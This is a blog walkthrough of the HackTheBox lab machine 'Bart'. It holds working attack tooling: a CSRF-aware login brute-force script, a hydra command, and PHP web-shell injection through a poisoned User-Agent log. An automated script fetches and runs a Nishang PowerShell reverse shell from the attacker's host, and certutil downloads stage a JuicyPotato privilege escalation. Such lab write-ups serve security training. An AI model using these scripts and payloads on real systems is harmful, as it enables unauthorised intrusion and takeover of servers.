Home HackTheBox - Bart
Post
Cancel

HackTheBox - Bart

This machine is a Medium Box from HackTheBox. The entry point is on web app with two weak credentials. We get the username looking for the e-mails on the web page, and start bruteforcing it. Once we got on the vulnerable part of the app we see that it has a XMLHttpRequest vulnerable, which we can write php files on the server, and execute them on the browser, with that said, we can get a reverse shell with it.

The privilege escalation I did trough JuicyPotato, after see that the user has SeImpersonatPrivilege enabled.

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(bart.htb)
    B --> |/etc/hosts| C[Found a User in Forum]
    C --> |Python Brute Force| D[Password 'potter' Found]
    D --> |Further Enum| E[monitor.bart.htb]
    E --> |Python Brute Force| F[Passowrd 'Password1' Found]
    F --> |Log PHP Poison| G[Rev Shell]
    E --> |Automated Python Rev Shell| G
    G --> |JuicyPotato| H[Root]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.81

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

Once we found just the port 80 opened, so let’s focus on this one to enumerate it.

We open it on the browser and see what is being shown.

We need to add the forum.bart.htb on /etc/hosts to get it working

We cannot rum gobuster on this box because it has a filter, so we use wfuzz and be based on the content lenght of the response

1
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh 150693 http://bart.htb/FUZZ

We found two interesting paths

/monitor and /forum

/monitor

Acessing /monitor, we have

If we try the Forgot Password function, we got

Account Identification

Now we must identify some accounts to try to get it

On forum.bart.htb we got 5 e-mails to play with

NameEmailPositionreference
Samantha Browns.brown@bart.localCEO@BARTOur Team
Daniel Simmonsd.simmons@bart.htbHead of SalesOur Team
Robert Hiltonr.hilton@bart.htbHead of ITOur Team
Harvey Potterh.potter@bart.htbDeveloper@BARTOur Team, commented out
Daniella Lamborghinid.lamborghini@bart.htb (guess?)Head of RecruitmentNews

So I started trying the e-mails. To see if I can get one working

And with harvey I saw that it worked

Login Brute Force (Scripting)

Now that we have an account, let’s try to bruteforce it.

We see how it works in Burp

Sure, we see that we have a CSRFToken on the request, we will need to get it before send the data, so let’s use a simple skeleton in python to start builind our script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3

import argparse
import requests
import sys

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username to target', required=False)
    parser.add_argument('-w', '--wordlist', help='Wordlist to be used', required=False)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()
1
python3 brute_login.py -t bart.htb -u harvey -w wordlist.txt

user_brute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python3
# Date: 2021-09-08
# Exploit Author: 0x4rt3mis
# Hack The Box - Bart
# User Brute Force

import argparse
import requests
import sys
import os

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

# First, we need to get the CSRFToken
def getCSRFToken(rhost):
    # Build the url
    login_url = 'http://' + rhost + '/monitor/?action=forgot'
    # Make csrfMagicToken global
    global csrf_token
    # Make the request to get csrf token
    csrf_page = r.get(login_url, verify=False, proxies=proxies)
    # Get the index of the page, search for csrfMagicToken in it
    index = csrf_page.text.find("csrf")
    # Get only the csrfMagicToken in it
    csrf_token = csrf_page.text[index:index+128].split('"')[2]
    if csrf_token:
        print("[+] We got the CSRF Token [+]")
        return csrf_token
    else:
        print("[+] Cannot get the CSRF_TOKEN [+]")
        exit

# Now we make the login requests
def loginRequest(rhost,wordlist,username):
    # Let the login url
    login_url = 'http://' + rhost + '/monitor/?action=forgot'
    # Let's iterate trough the wordlist
    file = open(wordlist, "r")
    iter = 0
    for line in file:
        # Get the csrf_token for each request
        getCSRFToken(rhost)
        # Set the proper http request
        line = line.strip()
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = {"csrf": "%s" %csrf_token, "user_name": "%s" %username, "user_password": "%s" %line, "action": "login"}
        login = r.post(login_url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
        if "incorrect" in login.text:
            iter = iter + 1
            os.system('clear')
            print()
            print("[+] Trying %s:%s" %(username,line))
            print("[+] Wrong Password - Attempt Number: %s [+]" %iter, flush=True)
        else:
            os.system('clear')
            print()
            print("[+] Trying %s:%s" %(username,line))
            print("[+] Password FOUND!!!!!")
            print("[+] Attempt number: %s" %iter)
            print("[+] Username: %s and Password: %s" %(username,line))
            print()
            break
    

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username to target', required=False)
    parser.add_argument('-w', '--wordlist', help='Wordlist to be used', required=False)
    args = parser.parse_args()

    rhost = args.target
    username = args.username
    wordlist = args.wordlist

    '''Here we call the functions'''
    # Let's get it working
    loginRequest(rhost,wordlist,username)

if __name__ == '__main__':
    main()

Ok, we got a password, now let’s login on the app to see what we can do

Clicking on the tabs, we found another subdomain

We access it

Login Brute Force (Hydra)

We see on the url something interesting

http://internal-01.bart.htb/simple_chat/login_form.php

We will try to bruteforce it’s user

We se here that the password must be at least 8 digits

Let’s create a wordlist with at least 8 digits to bruteforce it with hydra (different approach)

1
sed -nr '/^.{8,9}$/p' /usr/share/wordlists/rockyou.txt > rockyou_new.txt

We see on BurpSuite what we need to put on hydra

1
hydra -l harvey -P rockyou_new.txt -t 60 internal-01.bart.htb http-form-post "/simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=Login:F=Invalid Username or Password"

And we found the password from harvey, harvey:Password1

And we get logged in

We see on the source code something interesting

Let’s inspect what is happening here

1
2
3
4
5
6
7
8
9
10
11
12
function saveChat() {
// create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
	var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function() {
			if (xhr.readyState == XMLHttpRequest.DONE) {
			alert(xhr.responseText);
			}
				}
		xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
			xhr.send(null);
			alert("Done");
}

Seems that it’s getting the the values from the user harvey on the file log.txt

If we open the log.txt file, we see that we get the user agent printed on our screen

Humm… we try to click on Log, on the page and see the alert pop the Done in our screen

When the user clicks the Log link, there’s a popup saying “Done”, and then one saying “1”. That’s because the xhr.open function is called with the 3rd parameter true, which sets the call to async mode. The script then alerts “Done”, and then, when the http request comes back, the xhr.onreadystatechange function is called, which alerts with the response text.

Checking out the url that’s being called, if viewed directly, it outputs just the number 1, as seen in the popup.

If you change the file parameter to a file that already exists and we can’t write over (like the page source), it returns 0. Also, if you change it to a user that doesn’t exist, it returns 0. What about the file? Turns out that file is available in the same directory:

So, we should poison it, once it’s getting the user agent, if we put a malicious php as user-agent it will be executed.

RCE

So, let’s execute it

1
2
3
4
import requests
proxies={'http':'http://127.0.0.1:8080'}
headers={'User-Agent':'0x4rt3mis: <?php phpinfo(); ?>'}
r = requests.get('http://internal-01.bart.htb/log/log.php?filename=phpinfo.php&username=harvey', proxies=proxies, headers=headers)

And visiting we got it

Now, we will send a simple cmd

1
2
3
4
import requests
proxies={'http':'http://127.0.0.1:8080'}
headers={'User-Agent':'0x4rt3mis: <?php system($_REQUEST["cmd"]); ?>'}
r = requests.get('http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=harvey', proxies=proxies, headers=headers)

We test it, and we got RCE!

Now, with it, let’s get a reverse shell, for it, we’ll use the nishang one

1
2
3
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.20 -Port 4444" >> Invoke-PowerShellTcp.ps1
tail -n1 Invoke-PowerShellTcp.ps1

We execute and got a reverse shell

Scripting

Now, let’s automate it, to get a reverse shell one click to this box

1
python3 rev_auto.py -t bart.htb -u harvey -p Password1 -port 5555 -ip 10.10.14.20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python3
# Date: 2021-09-08
# Exploit Author: 0x4rt3mis
# Hack The Box - Bart
# Auto Reverse Shell

import argparse
import requests
import sys
import os
import socket, telnetlib
from threading import Thread
import threading                     
import http.server                                  
import socket                                   
from http.server import HTTPServer, SimpleHTTPRequestHandler

''' Setting up something important '''                                                                   
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

# Setting the python web server
def webServer():
    debug = True                                    
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:                                                                                                                                
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True                                                                                 
        thread.start()                                                                                       
    else:                                               
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Setar o handler
def handler(lport,rhost):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %rhost) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Mount the payload
def mountPayload(lhost,lport):
    print("[+] Let's download the Nishang reverse [+]")
    os.system("wget -q -c https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1")
    print("[+] Download Ok! [+]")
    print("[+] Let's add the call to reverse shell! [+]")
    file = open('Invoke-PowerShellTcp.ps1', 'a')
    file.write('Invoke-PowerShellTcp -Reverse -IPAddress %s -Port %s' %(lhost,lport)) 
    file.close()
    print("[+] Call added! [+]")

def login(rhost,user,password):
	url = "http://internal-01.%s:80/simple_chat/login.php" %rhost
	headers = {"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://internal-01.bart.htb", "Referer": "http://internal-01.bart.htb/simple_chat/login_form.php"}
	data = {"uname": "%s" %user, "passwd": "%s" %password, "submit": "Login"}
	r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
	
def uploadMalicious(rhost):
	headers={'User-Agent':'0x4rt3mis: <?php system($_REQUEST["cmd"]); ?>'}
	print("[+] Let's upload our malicious php!!! [+]")
	r = requests.get('http://internal-01.%s/log/log.php?filename=cmd.php&username=harvey' %rhost, proxies=proxies, headers=headers)
	print("[+] Great, we done it! [+]")

def getRev(rhost,lhost):
	print("[+] Now, let's get the reverse shell! [+]")
	url = "http://internal-01.%s:80/log/cmd.php" %rhost
	headers = {"Content-Type": "application/x-www-form-urlencoded"}
	data = {"cmd": "powershell IEX(New-Object Net.WebClient).downloadString('http://%s/Invoke-PowerShellTcp.ps1')" %lhost}
	r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username to target', required=True)
    parser.add_argument('-p', '--password', help='Password to log on the app', required=True)
    parser.add_argument('-port', '--port', help='Port to receive the reverse shell', required=True)
    parser.add_argument('-ip', '--ip', help='IP to receive the reverse shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    user = args.username
    password = args.password
    lport = args.port
    lhost = args.ip
    
    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Set up the web server
    webServer()
    # Let's mount the payload
    mountPayload(lhost,lport)
    # Let's log in
    login(rhost,user,password)
    # Let's upload the payload
    uploadMalicious(rhost)
    # Let's call the reverse shell
    getRev(rhost,lhost)
    
if __name__ == '__main__':
    main()

Privilege Escalation

Now, let’s escalate privilege

https://ohpe.it/juicy-potato/

https://github.com/ohpe/juicy-potato/releases/tag/v0.1

1
certutil -urlcache -split -f http://10.10.14.20:8000/JuicyPotato.exe C:\Users\Public\JuicyPotato.exe

Now we create a call

powershell "IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.20:8000/Invoke-PowerShellTcp.ps1')"

certutil -urlcache -split -f http://10.10.14.20:8000/reverse.bat C:\Users\Public\reverse.bat

1
.\JuicyPotato.exe -t * -p .\reverse.bat -l 1111 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"

This post is licensed under CC BY 4.0 by the author.